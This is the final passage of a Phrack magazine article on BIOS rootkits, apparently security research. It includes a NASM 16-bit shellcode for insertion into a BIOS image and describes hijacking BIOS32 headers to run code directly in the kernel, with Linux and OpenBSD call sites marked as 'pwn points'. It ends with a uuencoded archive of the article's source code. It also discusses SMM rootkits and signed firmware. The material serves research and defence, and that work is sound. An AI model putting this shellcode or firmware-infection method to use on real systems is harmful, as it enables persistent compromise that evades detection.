more "works-on-other-computers-apart-from-mine" technique.
In short, this is the solution and it works great:
Check if C000:0000 contains the signature AA55h.
If that conditions is true, then you can execute any interruption. The
reason is that in this precise position the VGA BIOS is loaded on all
PCs. And AA55h is a signature that tell us that the VGA BIOS is
present. It's fine to assume that if the VGA BIOS has been loaded,
then the IVT has been initialized. Warning: Surely the hard disk is
not spinning yet! (It's slow) but now you can check for it with the
now non-crashing interruption 13h, using function 41h to check for LBA
extensions and then trying to do a disk reset, using function 00h. You
can see an example of this on the shellcode of the section 3.1.5.1
The rest is history. You can use int 13h with LBA to check for the
disk, if it's ready, then you insert a disk-stage rootkit on it, or
insert an SMBIOS rootkit (see [PHRACK65]), or bluepill, or the
I-Love-You virus, or whatever rocks you. Your code is now immortal.
For the record, here is a second shellcode:
-------------------------------------------------------------
;skull.asm please use nasm to assemble
BITS 16
back:
TIMES 0x0b55 db 0x90
begin2:
pusha
pushf
push es
push ds
push 0xc000
pop ds
cmp word [0],0xaa55
je print
volver:
pop ds
pop es
popf
popa
pushad
push cx
jmp back
print:
jmp start
;message
; 123456789
msg: db ' .---.',13,10,\
'/ \',13,10,\
'|(\ /)|',13,10,\
'(_ o _)',13,10,\
' |===|',13,10,\
' `-.-`',13,10
times 55-$+msg db ' '
start:
;geteip
call getip
getip:
pop dx
;init video
mov ax,0003
int 0x10
;video write
mov bp,dx
sub bp,58 ; message
;write string
mov ax,0x1300
mov bx,0x0007
mov cx,53
mov dx,0x0400
push cs
pop es
int 0x10
call sleep
jmp volver
sleep:
mov cx, 0xfff
l1:
push cx
mov cx,0xffff
l2:
loop l2
pop cx
loop l1
ret
-------------------------------------------------------------
------[ 4.- BIOS32 (Kernel direct infection)
Now you have your bios rootkit executing in BIOS, but being in BIOS
sucks from an attacker's point of view. You ideally want to be in the
kernel of the Operative System. That is why you should do something
like drop a shellcode to hard-disk or doing an SMBIOS-rootkit. But
what if the hard-disk is encrypted? Or if the machine really doesn't
have a hard disk and boots from the network?
Fear not, because this section is for you. There is the misconception
that the BIOS is never used after boot, but this is untrue. Operative
Systems make BIOS calls for many reasons, like for example, setting
video modes (Int 10h) and doing other funny things like BIOS-32 calls.
What is BIOS32? using Google-based research we concluded that is an
arcane BIOS service to provide information about other BIOS services
to modern 32-bit OSes, in an attempt by BIOS vendors to stay relevant
on the post MS-DOS era. You can refer to [BIOS32SDP] for more
information. What's important is that many OSes make calls to it, and
the only requirement to being a BIOS32 service is that you must place
a BIOS32 header somewhere in the E000:0000 to F000:FFFF memory region,
16-byte aligned. The headers structure is:
Offset Bytes Description
0 4 Signature "_32_"
4 4 Entry point for the BIOS32 Service (here you put a pointer
to your stuff)
8 1 Revision level, put 0
9 1 Length of the BIOS32 Headers in paragraphs (put 1)
10 1 8-bit Checksum. Security FTW!
11 5 Reserved, put 0s.
This is a pattern on all BIOS services. The way to locate and execute
services is a pattern search followed by a checksum, and then it just
jumps to a function that is some kind of dispatcher. This behavior is
present in various BIOS functions like Plug and Play ($PnP), Post
Memory Manager ($PMM), BIOS32 (_32_), etc. Security was not
considered at the time when this system was designed, so we can take
advantage of this and insert our own headers (We can even use an
option-rom from this, without modifying system BIOS), and the OS
ultimately always trust the BIOS.
You can see how Linux 2.6.27 detects and calls this service on the
kernel function:
arch/x86/pci/pcibios.c,check_pcibios()
...
if ((pcibios_entry = bios32_service(PCI_SERVICE))) {
pci_indirect.address = pcibios_entry + PAGE_OFFSET;
local_irq_save(flags);
__asm__(
"lcall *(%%edi); cld\n\t" <--- Pwn point
"jc 1f\n\t"
"xor %%ah, %%ah\n"
"1:"
...
OpenBSD 4.5 does the same here:
sys/arch/i386/i386/bios.c,bios32_service()
int
bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei)
{
...
base = 0;
__asm __volatile("lcall *(%4)" <-- Pwn point
: "+a" (service), "+b" (base), "=c" (count), "=d" (off)
: "D" (&bios32_entry)
: "%esi", "cc", "memory");
...
At the moment we don't have any data on Windows XP/Vista/7
BIOS32-direct-calling, but please refer to the presentation [JHeasman]
where it documents direct Int 10h calling from several points on the
Windows kernel.
Faking a BIOS32 header or modifying an existing one is a viable way to
do direct-to-kernel binary execution, and more comfortable than the
int 10 calling (we don't need to jump to and from protected mode),
without having to rely on weird stuff like we explained on section 2
and 3.
Unfortunately because of lack of time, we couldn't provide a BIOS32
infection vector PoC in this issue, but it should be relatively easy
to implement, you now have all the tools to do it safely inside a
virtual machine, like VMware.
------[ 5.- Future and other uses
Bios modification is a powerful attack technique. As we said before,
if you take control of the system at such an early stage, there is
very little that an anti-virus or detection tool can do. Furthermore,
we can stay resident using a common boot-sector rootkit, or file
system modification. But some of the more fun things that you can do
with this attack is to drop a more sophisticated rootkit, like a
virtualized one, or better, a SMM Rootkit.
---[5.1 - SMM!
The difficulty of SMM Rootkits relies on the fact that you can't
touch the SMRAM once the system is booted, because the BIOS sets
the D_LCK bit [PHRACK65]. Recently many techniques has been
developed to overcome this lock, like [DUFLOTSM], but if you are
executing in BIOS, this lock doesn't affect you, because you are
executing before this protection, and you could modify the SMRAM
directly on the firmware. However, this technique would be very
difficult and not generic at all, but it's doable.
---[5.2 - Signed firmware
The huge security hole that is allowing unsigned firmware into
a motherboard is being slowly patched and many signed BIOS
systems are being deployed, see [JHeasman2] for examples.
This gives you an additional layer of security and prevent
exactly the kind of attack proposed in this article.
However, no system is completely secure, bug and backdoors
will always exist. To this date no persistent attack on
signed bios has been made public, but researchers are
close to beating this kind of protections, see for example
[ILTXT].
---[5.3 - Last words
Few software is so fundamental and at the same time, so closed,
as the BIOS. UEFI [UEFIORG], the new firmware interface, promises
open-standards and improved security.
But meanwhile, we need more people looking, reversing and
understanding this crucial piece of software.
It has bugs, it can contain malicious code, and most importantly,
BIOS can have complete control of your computer. Years ago people
regained part of that control with the open-source revolution, but
users won't have complete control until they know what's lurking
behind closed-source firmware.
If you want to improve or start researching your own BIOS and
need more resources, an excellent place to start would be
the WIM'S BIOS High-Tech Forum [WBHTF], where very low-level
technical discussions take place.
--[6.- Greetz
We would like to thank all the people at Core Security for giving us
the space and resources to work in this project, in particular to the
whole CORE's Exploit writers team for supporting us during the time we
spent researching this interesting stuff.
Kudos to the phrack editor team that put a huge effort into this
e-zine.
To t0p0, for inspiring us in this project with his l33t cisco stuff.
To Gera for his technical review. To Lea & ^Dan^ for correctin our
englis. And Laura for supporting me (Alfred) on my long nights of
bios-related suffering.
---[7.- References
[JHeasman] Firmware Rootkits, The Threat to the Enterprise,
John Heasman, http://www.ngssoftware.com/research/
papers/BH-DC-07-Heasman.pdf
[JHeasman2] Implementing and detecting ACPI BIOS rootkit,
http://www.blackhat.com/presentations/bh-federal-06/
BH-Fed-06-Heasman.pdf
[BIOS32SDP] Standard BIOS 32-bit Service Directory Proposal 0.4,
Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/
ECF22CEC-A1B2-4F38-A7F9-629B49E1DCAB/0/specsbios32sd.pdf
[COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/
Flashrom
[PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/
issues.html?issue=65
[DUFLOTSM] "Using CPU System Management Mode to Circumvent
Operating System Security Functions" Loic Duflot,
Daniel Etiemble, Olivier Grumelard Proceedings of
CanSecWest, 2006
[UEFIORG] Unified EFI Forum, http://www.uefi.org/
[ILTXT] Attacking Intel Trusted Execution Technology,
BlackHat DC, Feb 2009.
http://invisiblethingslab.com/resources/
bh09dc/Attacking%20Intel%20TXT%20-%20paper.pdf
[WBHTF] WIM'S BIOS In-depth High-tech BIOS section
http://www.wimsbios.com/phpBB2/
in-depth-high-tech-bios-section-vf37.html
[LZH] http://en.wikipedia.org/wiki/LHA_(file_format)
[Pinczakko] Pinczakko Official Website,
http://www.geocities.com/mamanzip/
---[8.- Sources
begin 644 phrack-66-07.tgz
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
M';&3P\M-3@8FI"A4TX/9<5P\`,ODWQ3?VUE"P,[email protected]^MTLK[FB!1U@P!FZO
M0B:KB_!22Y%AY@`<,OJ.8,*N%;6N;\>LRG<VR%@('H*I?;FG"3W]Q6P,-`!B
M%2UL1K[P%Z(<=2IB&SSR6$XS=@49[G5*(!P1`V1<S0O]#7+Y2#*3<_B_")`-
M1HRL-AEK^LQ^7OAR.]DSIR.UR"BRP[/DC`'(+$IKBJ;+1!..*SQ#8_),HM^W
MK/V4"*^%CAT`G-"%R$;)'NL.)FX(4=LT%BLMFN[Z\OQLY]?D,U,P#)C"%<=0
M\,05#^R:;H.R=%/$4!RJ##\:2JQ$,ZYE6T>Y9JC5XFZCQ.8D;$?OY0?V=(UH
ML&'!/85+8PC"&H='QR>G.I1F.<-7K8RR$_L-GBB%Y9$X<@(HFB#%34G+*&/8
M,P9?#:)\A`U3H\\W26%'%U=7AU?L_04[>W]\=7H.@?SA#PP:4A>2RN4,%VE!
MCY6%ZN9M'*.R#R2R`V8OPO!N'@BV;OEVJ<\._O'NZ%#9,TU#W@.]HRS#DM61
MV(M,P)8N'56),K-6&9G)Z1<7GGP((\=#!XN]1AH0<X='H#D?&]U%7$7^*4^0
M;([+RZ%XU'(4A]865^>9Q?7%*^EYYU&B_<`<J#"[=WYPQ\/UY?4[/9.">I`C
M*H]E1YF=V)J>HF;V^GEC8!C&\PJ9'7BT-O*UW%>BSZ^'01#5LV8M,S5<;<K%
MQ;X-XBYIU;,Z!_.G3GVS0ZY%L#GY"1*`)G>Q^74L%<5!&[L:&@,KLZ:C2;!0
M&I+MB?L28[6W.]@M]MVG4'`&H=@^M7&F*HI85)ALEF`I]!U@7[YKF"JH*O1&
M?:0OW!$!'^7'#WB%H;J-DE6B[`'I><H1#:\$I3@*NTX*65QM'4/!#";&-.XH
[email protected](!,J)7I@&JM!O]_M*U'A23'SN))M`776,FOXUN&.='?$V'.4J][)
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
*OP'CP.BZ`'@`````
`
end
--------[ EOF